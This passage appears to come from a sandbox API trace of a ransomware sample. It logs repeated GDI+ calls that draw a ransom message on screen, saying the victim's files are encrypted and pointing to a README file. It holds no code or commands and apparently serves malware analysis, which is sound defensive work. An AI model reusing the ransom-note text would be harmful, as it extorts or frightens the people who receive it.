align=0x1) returned 0x0 [0159.763] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.763] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.764] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.764] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.764] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.764] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x220ec68) returned 0x0 [0159.764] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.764] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.764] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.765] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.765] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.765] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.765] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x220ece0) returned 0x0 [0159.765] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.765] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.765] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.766] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.766] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.766] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.766] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x220ed58) returned 0x0 [0159.766] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.766] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.766] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.767] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.767] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.767] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.767] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x220edd0) returned 0x0 [0159.767] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.767] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.767] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.768] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.768] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.768] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.768] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x220ee48) returned 0x0 [0159.768] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.768] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.768] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.769] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.769] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.769] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.769] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x220eec0) returned 0x0 [0159.769] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.769] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.769] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.770] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.770] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.770] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.770] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x220ef38) returned 0x0 [0159.770] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.770] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.770] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.771] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.771] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.771] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.771] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x220efb0) returned 0x0 [0159.771] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.771] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.771] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.772] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.772] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.772] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.772] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x220f028) returned 0x0 [0159.772] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.772] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.772] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.773] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.773] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.773] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.773] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x220f0a0) returned 0x0 [0159.773] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.773] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.773] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.774] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.774] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.774] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.774] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x220f118) returned 0x0 [0159.774] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.774] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.774] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.775] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.775] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.775] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.775] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x220f190) returned 0x0 [0159.775] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.775] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.775] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.776] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.776] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.776] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.776] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x220f208) returned 0x0 [0159.776] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.776] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.776] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.777] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.777] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.777] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.777] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x220f280) returned 0x0 [0159.777] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.777] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.777] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.778] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.778] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.778] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.778] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x220f2f8) returned 0x0 [0159.778] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.778] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.778] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.779] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.779] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.779] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.779] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x220f370) returned 0x0 [0159.779] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.779] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.779] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.780] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.780] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.780] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.780] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x220f3e8) returned 0x0 [0159.780] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.780] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.780] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.781] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.781] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.781] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.781] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x220f460) returned 0x0 [0159.781] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.781] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.781] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.782] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.782] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.782] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.782] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x220f4d8) returned 0x0 [0159.782] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.782] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.782] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.783] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.783] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.783] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.783] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x220f550) returned 0x0 [0159.783] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.783] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.783] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.784] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.784] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.784] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.784] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x220f5c8) returned 0x0 [0159.784] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.784] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.784] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.785] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.785] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.785] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.785] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x220f640) returned 0x0 [0159.785] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.785] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.785] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.786] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.786] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.786] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.786] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x220f6b8) returned 0x0 [0159.786] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.786] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.786] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.787] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.787] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.787] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.787] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x220f730) returned 0x0 [0159.787] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.787] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.787] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.788] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.788] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.788] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.788] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x220f7a8) returned 0x0 [0159.788] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.788] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.788] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.789] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.789] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.789] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.789] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x220f820) returned 0x0 [0159.789] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.789] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.789] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.790] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.790] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.790] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.790] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x220f898) returned 0x0 [0159.790] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.790] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.790] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.791] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.791] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.791] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.791] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x220f910) returned 0x0 [0159.791] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.791] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.791] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.792] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.792] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.792] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.792] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x220f988) returned 0x0 [0159.792] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.792] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.792] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.793] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.793] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.793] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.793] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x220fa00) returned 0x0 [0159.793] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.794] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.794] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.794] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.794] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.794] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.795] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x220fa78) returned 0x0 [0159.795] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.795] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.795] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.795] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.795] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.796] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.796] 